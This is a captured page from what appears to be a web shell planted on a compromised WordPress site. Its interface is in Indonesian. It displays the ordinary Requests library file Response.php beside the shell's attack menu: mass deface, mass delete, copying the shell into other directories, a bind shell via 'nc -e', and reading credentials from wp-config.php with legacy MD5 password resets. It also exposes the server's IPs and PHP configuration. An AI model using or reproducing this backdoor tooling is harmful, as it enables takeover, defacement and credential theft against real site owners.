WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / allgauhupfer / wp-includes / Requests / src / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/allgauhupfer/wp-includes/Requests/src/Response.php (4.18 KB)
<?php
/**
 * HTTP response class
 *
 * Contains a response from \WpOrg\Requests\Requests::request()
 *
 * @package Requests
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Response\Headers;

/**
 * HTTP response class
 *
 * Contains a response from \WpOrg\Requests\Requests::request()
 *
 * @package Requests
 */
class Response {

	/**
	 * Response body
	 *
	 * @var string
	 */
	public $body = '';

	/**
	 * Raw HTTP data from the transport
	 *
	 * @var string
	 */
	public $raw = '';

	/**
	 * Headers, as an associative array
	 *
	 * @var \WpOrg\Requests\Response\Headers Array-like object representing headers
	 */
	public $headers = [];

	/**
	 * Status code, false if non-blocking
	 *
	 * @var integer|boolean
	 */
	public $status_code = false;

	/**
	 * Protocol version, false if non-blocking
	 *
	 * @var float|boolean
	 */
	public $protocol_version = false;

	/**
	 * Whether the request succeeded or not
	 *
	 * @var boolean
	 */
	public $success = false;

	/**
	 * Number of redirects the request used
	 *
	 * @var integer
	 */
	public $redirects = 0;

	/**
	 * URL requested
	 *
	 * @var string
	 */
	public $url = '';

	/**
	 * Previous requests (from redirects)
	 *
	 * @var array Array of \WpOrg\Requests\Response objects
	 */
	public $history = [];

	/**
	 * Cookies from the request
	 *
	 * @var \WpOrg\Requests\Cookie\Jar Array-like object representing a cookie jar
	 */
	public $cookies = [];

	/**
	 * Constructor
	 */
	public function __construct() {
		$this->headers = new Headers();
		$this->cookies = new Jar();
	}

	/**
	 * Is the response a redirect?
	 *
	 * @return boolean True if redirect (3xx status), false if not.
	 */
	public function is_redirect() {
		$code = $this->status_code;
		return in_array($code, [300, 301, 302, 303, 307], true) || $code > 307 && $code < 400;
	}

	/**
	 * Throws an exception if the request was not successful
	 *
	 * @param boolean $allow_redirects Set to false to throw on a 3xx as well
	 *
	 * @throws \WpOrg\Requests\Exception If `$allow_redirects` is false, and code is 3xx (`response.no_redirects`)
	 * @throws \WpOrg\Requests\Exception\Http On non-successful status code. Exception class corresponds to "Status" + code (e.g. {@see \WpOrg\Requests\Exception\Http\Status404})
	 */
	public function throw_for_status($allow_redirects = true) {
		if ($this->is_redirect()) {
			if ($allow_redirects !== true) {
				throw new Exception('Redirection not allowed', 'response.no_redirects', $this);
			}
		} elseif (!$this->success) {
			$exception = Http::get_class($this->status_code);
			throw new $exception(null, $this);
		}
	}

	/**
	 * JSON decode the response body.
	 *
	 * The method parameters are the same as those for the PHP native `json_decode()` function.
	 *
	 * @link https://php.net/json-decode
	 *
	 * @param bool|null $associative Optional. When `true`, JSON objects will be returned as associative arrays;
	 *                               When `false`, JSON objects will be returned as objects.
	 *                               When `null`, JSON objects will be returned as associative arrays
	 *                               or objects depending on whether `JSON_OBJECT_AS_ARRAY` is set in the flags.
	 *                               Defaults to `true` (in contrast to the PHP native default of `null`).
	 * @param int       $depth       Optional. Maximum nesting depth of the structure being decoded.
	 *                               Defaults to `512`.
	 * @param int       $options     Optional. Bitmask of JSON_BIGINT_AS_STRING, JSON_INVALID_UTF8_IGNORE,
	 *                               JSON_INVALID_UTF8_SUBSTITUTE, JSON_OBJECT_AS_ARRAY, JSON_THROW_ON_ERROR.
	 *                               Defaults to `0` (no options set).
	 *
	 * @return array
	 *
	 * @throws \WpOrg\Requests\Exception If `$this->body` is not valid json.
	 */
	public function decode_body($associative = true, $depth = 512, $options = 0) {
		$data = json_decode($this->body, $associative, $depth, $options);

		if (json_last_error() !== JSON_ERROR_NONE) {
			$last_error = json_last_error_msg();
			throw new Exception('Unable to parse JSON data: ' . $last_error, 'response.invalid', $this);
		}

		return $data;
	}
}
namawaktuukuranownerpermaksi
..
Auth/ 2026-02-23 19:412.48 KB 76129f60960:kundendxwrx-rx-r
Cookie/ 2026-02-23 19:414.26 KB 76129f60960:kundendxwrx-rx-r
Exception/ 2026-02-23 19:4121.94 KB 76129f60960:kundendxwrx-rx-r
Proxy/ 2026-02-23 19:414.12 KB 76129f60960:kundendxwrx-rx-r
Response/ 2026-02-23 19:413.03 KB 76129f60960:kundendxwrx-rx-r
Transport/ 2026-02-23 19:4134.64 KB 76129f60960:kundendxwrx-rx-r
Utility/ 2026-02-23 19:417.01 KB 76129f60960:kundendxwrx-rx-r
Auth.php 2026-02-23 19:41860 B 76129f60960:kunden-xw-x-----
edt
Autoload.php 2026-02-23 19:419.12 KB 76129f60960:kunden-xw-x-----
edt
Capability.php 2026-02-23 19:41652 B 76129f60960:kunden-xw-x-----
edt
Cookie.php 2026-02-23 19:4115.03 KB 76129f60960:kunden-xw-x-----
edt
Exception.php 2026-02-23 19:411.09 KB 76129f60960:kunden-xw-x-----
edt
HookManager.php 2026-02-23 19:41709 B 76129f60960:kunden-xw-x-----
edt
Hooks.php 2026-02-23 19:412.96 KB 76129f60960:kunden-xw-x-----
edt
IdnaEncoder.php 2026-02-23 19:4112.14 KB 76129f60960:kunden-xw-x-----
edt
Ipv6.php 2026-02-23 19:415.51 KB 76129f60960:kunden-xw-x-----
edt
Iri.php 2026-02-23 19:4128.93 KB 76129f60960:kunden-xw-x-----
edt
Port.php 2026-02-23 19:411.47 KB 76129f60960:kunden-xw-x-----
edt
Proxy.php 2026-02-23 19:41867 B 76129f60960:kunden-xw-x-----
edt
Requests.php 2026-02-23 19:4133.2 KB 76129f60960:kunden-xw-x-----
edt
Response.php 2026-02-23 19:414.18 KB 76129f60960:kunden-xw-x-----
edt
Session.php 2026-02-23 19:418.89 KB 76129f60960:kunden-xw-x-----
edt
Ssl.php 2026-02-23 19:415.3 KB 76129f60960:kunden-xw-x-----
edt
Transport.php 2026-02-23 19:411.51 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/allgauhupfer/wp-includes/Requests/src
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK